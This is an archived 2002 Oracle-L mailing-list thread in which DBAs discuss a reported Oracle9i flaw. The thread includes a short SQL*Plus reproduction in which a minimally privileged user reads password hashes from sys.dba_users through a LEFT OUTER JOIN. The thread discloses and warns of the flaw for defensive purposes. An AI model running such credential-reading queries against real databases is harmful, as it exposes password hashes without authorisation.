| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
 |
 | |||
| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
|
| |||
Home -> Community -> Mailing Lists -> Oracle-L -> RE: Major Security Canyon in 9i!!!!!!
Ahhh.... I was at IOUG-A and didn't see it....Don't
remember seeing it in the MOUNTAIN (!) of messages
posted here while I was gone...
But anyway, just trying to do my duty as a good Oracle citizen of the world! :-))
RF
-----Original Message-----
Sent: Wednesday, April 24, 2002 4:17 PM
To: ORACLE-L_at_fatcity.com
Cc: Freeman, Robert
Robert,
Jonathan Lewis posted this security issue last week.
Jared
"Freeman, Robert " <Robert_Freeman_at_csx.com>
Sent by: root_at_fatcity.com
04/24/2002 10:23 AM
Please respond to ORACLE-L
To: Multiple recipients of list ORACLE-L <ORACLE-L_at_fatcity.com>
cc:
Subject: Major Security Canyon in 9i!!!!!!
This was posted on Quest/Revealnets DBA Pipeline (by Andrew Simkovsky)...
Sounds like a major security issue. I have tested this on 9.0.1.2 and it
is
a real issue:
Someone recently sent me some information regarding a possible security flaw
with Oracle's ANSI-compliant outer join syntax in Oracle9i. Apparently, an
unprivileged user can view any data they want if they use either LEFT
OUTER
JOIN or RIGHT OUTER JOIN. Here is an example:
SQL*Plus: Release 9.0.1.0.1 - Production on Tue Apr 16 15:16:45 2
(c) Copyright 2001 Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production
With the Partitioning option
JServer Release 9.0.1.1.1 - Production
SQL> connect / as sysdba
Connected.
SQL> CREATE USER us1 IDENTIFIED BY us11;
User created.
SQL> Grant Create Session to us1;
Grant succeeded.
SQL> connect us1/us11;
Connected.
SQL> select a.username, a.password
2 from sys.dba_users a left outer join sys.dba_users b on
3 b.username = a.username
4 ;
USERNAME PASSWORD
------------------------------ ------------------------------SYS D4C5016086B2DC6A
I have tested this on my 9i database and found it to be true only for LEFT
OUTER JOIN and RIGHT OUTER JOIN. There is no issue with FULL OUTER JOIN,
or
any of the other ANSI-compliant SQL.
Here is Oracle's response:
Thanks,
Oracle Support
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Freeman, Robert
INET: Robert_Freeman_at_csx.com
Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists --------------------------------------------------------------------To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Freeman, Robert
INET: Robert_Freeman_at_csx.com
Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists --------------------------------------------------------------------To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). Received on Wed Apr 24 2002 - 16:23:38 CDT
 |
 |